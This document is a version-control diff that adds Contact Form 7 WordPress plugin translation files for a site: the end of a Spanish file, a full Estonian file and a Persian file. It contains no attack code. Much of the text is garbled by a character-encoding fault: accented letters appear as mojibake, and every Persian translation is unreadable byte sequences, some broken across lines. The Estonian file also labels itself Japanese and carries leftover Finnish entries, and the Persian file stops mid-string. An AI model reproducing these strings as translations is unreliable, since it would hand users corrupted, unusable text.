+
+#: contact-form-7/wp-contact-form-7.php:804
+msgid "This file is too large."
+msgstr "El archivo es demasiado grande."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "AÃ±adir nuevo"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Copia y pega este cÃ³digo dentro del contenido de tu post, pÃ¡gina o contenido de widget de texto."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:257
+msgid "Save"
+msgstr "Guardar"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "Borrar este formulario de contacto"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"El formulario de contacto serÃ¡ eliminado.\n"
+"  'Cancelar' para anular, 'OK' para confirmar."
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "Formulario"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "Correo"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Para:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "De:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "Asunto:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "Archivos adjuntos:"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Se requiere WordPress 2.7 o superior para usar esta caracterÃ­stica)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "Usa el tipo de contenido HTML (HTML content type)"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Cuerpo del mensaje:"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "Correo (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "Usar correo (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "Mensajes"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "Tu mensaje se ha enviado exitosamente. Muchas Gracias."
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "FallÃ³ el envÃ­o del mensaje"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet determinÃ³ que el envÃ­o es spam"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "Ocurrieron errores de validaciÃ³n"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "Hay un campo que el tienes que completar"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "El email ingresado es incorrecto."
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Hay un campo de tÃ©rminos y condiciones que el debes aceptar"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "No has ingresado la respuesta correcta al acertijo"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "El cÃ³digo que el has ingresado no coincide con el CAPTCHA"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploading a file fails for any reason"
+msgstr "La subida del archivo ha fallado"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is not allowed file type"
+msgstr "El archivo subido no es del tipo permitido"
+
+#: contact-form-7/includes/admin-panel.php:240
+msgid "Uploaded file is too large"
+msgstr "El archivo subido es demasiado grande"
+
+#~ msgid "Form content"
+#~ msgstr "Contenido del formulario"
+#~ msgid "Mail template"
+#~ msgstr "Plantilla del email"
+#~ msgid "Sender field:"
+#~ msgstr "Campo de remitente:"
+#~ msgid "Recipient address:"
+#~ msgstr "DirecciÃ³n del destinatario:"
+#~ msgid "Insert"
+#~ msgstr "Insertar"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-et.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-et.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-et.po	(revision 44)
@@ -0,0 +1,318 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: 2009-03-18 13:37+0200\n"
+"Last-Translator: Peeter Rahuvarm <peeter@kraabus.ee>\n"
+"Language-Team: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "Kontaktivorm"
+
+#: contact-form-7/wp-contact-form-7.php:403
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "vÃµib tÃŒhjaks jÃ€tta"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "VÃ€lja loomine"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "TekstivÃ€li (1 rida)"
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "E-posti vÃ€li"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "Teksti kast"
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "RippmenÃŒÃŒ"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "Checkboxes"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "Radio buttons"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "Aktsepteerimine"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "Vaikimisi tÃ€idetud"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "Pane see tagurpidi tÃ¶Ã¶le"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* See tÃ€hendab et aktsepteeriv kÃŒlastaja vÃµtab linnukese Ã€ra"
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "TURVAKOOD"
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "Saatmise nupp"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "Nimi"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "NÃµutud vÃ€li?"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "Luba mitut valikut?"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "Lisa tÃŒhi rida esimeseks valikuks?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "Make checkboxes exclusive?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "Valikud"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "Nimi"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "Vaikimisi vÃ€Ã€rtus"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "Autori nimi on nÃµutav"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "This field requires author's URL"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "Autori e-posti aadress on nÃµutav"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "lÃµika ja kleebi see kood vormi sisse"
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "Eesmine vÃ€rv"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "TaustavÃ€rv"
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "Pildi suurus"
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "VÃ€ike"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "Keskmine"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "Suur"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "Pildi seaded"
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "SisestusvÃ€lja seaded"
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "Pildile"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "SisestusvÃ€ljale"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "* Ãks valik rea kohta"
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "Kontaktivorm \"%s\" on loodud."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "Kontaktivorm \"%s\" on salvestatud."
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "Kontaktivorm \"%s\" on kustutatud."
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "Nimetu"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "Nimi"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "(nÃµutav)"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "E-post"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "Teema"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "Teade"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "Saada"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "Teie sÃµnum on saadetud. AitÃ€h!"
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "SÃµnumi saatmine ebaÃµnnestus. Palun proovige hiljem vÃµi vÃµtke ÃŒhendust muul viisil."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Vormi tÃ€itmisel esines vigu. Palun kontrollige ja saatke uuesti."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "Tingimustega nÃµustumine on vajalik"
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "E-posti aadress on vigane"
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "Palun tÃ€itke nÃµutud vÃ€ljad"
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "Sisestatud kood on vale"
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "Lisa uus"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "LÃµika ja kleebi see kood postituse sisse, sinna kus tahad kontaktivormi nÃ€ha."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "Vorm"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "E-post"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "Saaja:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "Saatja:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "Teema:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "SÃµnumi sisu:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "E-post (2)"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "Kasuta e-posti (2)"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "Salvesta"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "Kustuta see kontaktivorm"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "Kas soovid kustutada kontaktivormi?"
+
+#~ msgid "Form content"
+#~ msgstr "Lomakkeen sisÃ€ltÃ¶"
+#~ msgid "Mail template"
+#~ msgstr "SÃ€hkÃ¶postimalli"
+#~ msgid "Sender field:"
+#~ msgstr "LÃ€hettÃ€jÃ€:"
+#~ msgid "Recipient address:"
+#~ msgstr "Vastaanottajan osoite:"
+#~ msgid "Insert"
+#~ msgstr "SyÃ¶tÃ€"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fa_IR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fa_IR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fa_IR.po	(revision 44)
@@ -0,0 +1,624 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-01 14:23+0330\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Mohammad Musavi <mohammad at musavis.com>\n"
+"Language-Team: musavis.com <mohammad at musavis.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Persian\n"
+"X-Poedit-Country: Iran\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: e:\\mohammad\\xampp2\\htdocs\\wordpress\\wp-content\\plugins\\contact-form-7\\\n"
+"X-Poedit-SearchPath-0: e:\\mohammad\\xampp2\\htdocs\\wordpress\\wp-content\\plugins\\contact-form-7\n"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/wp-contact-form-7.php:382
+msgid "Contact form"
+msgstr "ÙØ±Ù
+ ØªÙ
+Ø§Ø³"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:6
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:111
+msgid "Contact Form 7"
+msgstr "ÙØ±Ù
+ ØªÙ
+Ø§Ø³ ÙØ³Ø®Ù 7"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:21
+msgid "Add new"
+msgstr "Ø¬Ø¯ÛØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:43
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Ø§ÛÙ Ú©Ø¯ Ø±Ø§ Ú©ÙŸÛ ÙÙ
+ÙØ¯Ù Ù Ø¯Ø± ÙÙØŽØªÙØ ØšØ±Ú¯Ù ÛØ§ Ø§ØšØ²Ø§Ø±Ú© Ø®ÙØ¯ ØšÚØ³ØšØ§ÙÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:50
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:290
+msgid "Save"
+msgstr "Ø°Ø®ÛØ±Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:57
+msgid "Copy"
+msgstr "Ú©ÙŸÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:61
+msgid "Delete"
+msgstr "Ø­Ø°Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:63
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "ØŽÙ
+Ø§ Ø¯Ø± Ø­Ø§Ù Ø­Ø°Ù Ø§ÛÙ ÙØ±Ù
+ ØªÙ
+Ø§Ø³ ÙØ³ØªÛØ¯. Ø¢ÛØ§ Ø§Ø² Ø­Ø°Ù Ø§ÛÙ ÙØ±Ù
+ Ø§Ø·Ù
+ÛÙØ§Ù Ø¯Ø§Ø±ÛØ¯Ø"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:78
+msgid "Form"
+msgstr "ÙØ±Ù
+"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:98
+msgid "Mail"
+msgstr "ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ©"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:105
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:161
+msgid "To:"
+msgstr "Ú¯ÛØ±ÙØ¯Ù:"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:109
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:165
+msgid "From:"
+msgstr "ÙØ±Ø³ØªÙØ¯Ù:"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:113
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:169
+msgid "Subject:"
+msgstr "Ù
+ÙØ¶ÙØ¹:"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:118
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:174
+msgid "Additional headers:"
+msgstr "ÙØ¯Ø±ÙØ§Û Ø§Ø¶Ø§ÙÛ:"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:122
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:178
+msgid "File attachments:"
+msgstr "ÙØ§ÛÙ ÙØ§Û Ø§ÙØµØ§Ù ØŽØ¯Ù:"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:124
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:180
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Ø¬ÙØª Ø§Ø³ØªÙØ§Ø¯Ù Ø§Ø² Ø§ÛÙ ÙØ§ØšÙÛØª ÙÛØ§Ø² ØšÙ ÙØ±Ø¯ÙŸØ±Ø³ ÙØ³Ø®Ù 2.7 ØšÙ ØšØ§ÙØ§ Ø¯Ø§Ø±ÛØ¯)"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:132
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:188
+msgid "Use HTML content type"
+msgstr "Ø§Ø³ØªÙØ§Ø¯Ù Ø§Ø² HTML Ø¯Ø± Ù
+Ø­ØªÙØ§"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:137
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:193
+msgid "Message body:"
+msgstr "Ù
+ØªÙ ÙØ§Ù
+Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:148
+msgid "Mail (2)"
+msgstr "ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ© 2"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:155
+msgid "Use mail (2)"
+msgstr "Ø§Ø³ØªÙØ§Ø¯Ù Ø§Ø² ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ© 2"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:204
+msgid "Messages"
+msgstr "ÙŸÛØºØ§Ù
+ ÙØ§"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:212
+msgid "Sender's message was sent successfully"
+msgstr "ÙŸÛØ§Ù
+ ØšØ§ Ù
+ÙÙÙÛØª Ø§Ø±Ø³Ø§Ù ØŽØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:216
+msgid "Sender's message was failed to send"
+msgstr "Ø§Ø±Ø³Ø§Ù ÙØ§Ù
+ÙÙÙ ØšÙØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:220
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Ø¢Ú©ÛØ³Ù
+Øª Ù
+ØªÙ Ø§Ø±Ø³Ø§ÙÛ Ø±Ø§ ÙØ±Ø²ÙØ§Ù
+Ù ØªØŽØ®ÛØµ Ø¯Ø§Ø¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:224
+msgid "Validation errors occurred"
+msgstr "Ø®Ø·Ø§Û ØªØ§ØŠÛØ¯ Ø±Ø® Ø¯Ø§Ø¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:228
+msgid "There is a field that sender is needed to fill in"
+msgstr "Ø§Ø±Ø³Ø§Ù Ú©ÙÙØ¯Ù Ù
+ÙØ²Ù
+ ØšÙ ØªÚ©Ù
+ÛÙ ÙÛÙØ¯ÙØ§Û Ø§ÙØ²Ø§Ù
+ÛØ³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:232
+msgid "Email address that sender entered is invalid"
+msgstr "Ø¢Ø¯Ø±Ø³ ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ© ÙØ§Ø±Ø¯ ØŽØ¯Ù ÙØ§Ù
+Ø¹ØªØšØ± ØšÙ ÙØžØ± Ù
+Û Ø±Ø³Ø¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:236
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Ø§Ø±Ø³Ø§Ù Ú©ÙÙØ¯Ù ÙØ±Ù
+ Ù
+ÙØ²Ù
+ ØšÙ ÙŸØ°ÛØ±ØŽ ÙÛÙØ¯ Ø§ÙØ²Ø§Ù
+ÛØ³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:240
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "ÙŸØ§Ø³Ø® ØŽÙ
+Ø§ ØšÙ ÙŸØ±Ø³ØŽ Ø§Ù
+ÙÛØªÛ Ø§ØŽØªØšØ§Ù Ø§Ø³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:244
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Ú©Ø¯ Ø§Ù
+ÙÛØªÛ ÙØ§Ø±Ø¯ ØŽØ¯Ù Ù
+Ø¹ØªØšØ± ÙÛØ³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:248
+msgid "Uploading a file fails for any reason"
+msgstr "Ø¢ÙŸÙÙØ¯ ÙØ§ÛÙ ØšÙ ÙØ± Ø¹ÙØªÛ ØšØ§ Ù
+ØŽÚ©Ù Ù
+ÙØ§Ø¬Ù Ù
+Û ØŽÙØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:252
+msgid "Uploaded file is not allowed file type"
+msgstr "ÙŸØ³ÙÙØ¯ ÙØ§ÛÙ Ø¢ÙŸÙÙØ¯ ØŽØ¯Ù Ù
+Ø¬Ø§Ø² ÙÙ
+Û ØšØ§ØŽØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:256
+msgid "Uploaded file is too large"
+msgstr "Ø­Ø¬Ù
+ ÙØ§ÛÙ Ø¢ÙŸÙÙØ¯ ØŽØ¯Ù ØšÛØŽ Ø§Ø² Ø­Ø¯ Ù
+Ø¬Ø§Ø² Ø§Ø³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin-panel.php:269
+msgid "Additional Settings"
+msgstr "ØªÙØžÛÙ
+Ø§Øª Ø§Ø¶Ø§ÙÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:157
+msgid "optional"
+msgstr "Ø§ÙØªØ®Ø§ØšÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:158
+msgid "Generate Tag"
+msgstr "ØšØ±ÚØ³Øš Ø¹Ù
+ÙÙ
+Û"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:159
+msgid "Text field"
+msgstr "ÙÛÙØ¯ Ù
+ØªÙÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:160
+msgid "Email field"
+msgstr "ÙÛÙØ¯ Ø§ÛÙ
+ÛÙ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:161
+msgid "Text area"
+msgstr "ÙØ¶Ø§Û Ù
+ØªÙÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:162
+msgid "Drop-down menu"
+msgstr "Ù
+ÙÙÛ ØšØ§Ø²ØŽÙ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:163
+msgid "Checkboxes"
+msgstr "Ø¬Ø¹ØšÙ Ø¹ÙØ§Ù
+ØªÚ¯Ø°Ø§Ø±Û"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:164
+msgid "Radio buttons"
+msgstr "Ø¯Ú©Ù
+Ù Ø§ÙØªØ®Ø§ØšÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:165
+msgid "Acceptance"
+msgstr "ÙŸØ°ÛØ±ØŽ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:166
+msgid "Make this checkbox checked by default?"
+msgstr "Ø¢ÛØ§ Ø§ÛÙ Ø¬Ø¹ØšÙ ØšÙ ØµÙØ±Øª ÙŸÛØŽ ÙØ±Ø¶ ØªÛÚ© Ø®ÙØ±Ø¯Ù ØšØ§ØŽØ¯Ø"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:167
+msgid "Make this checkbox work inversely?"
+msgstr "Ø§ÛÙ Ø¬Ø¹ØšÙ ØšØµÙØ±Øª ØšØ±Ø¹Ú©Ø³ Ø¹Ù
+Ù ÙÙ
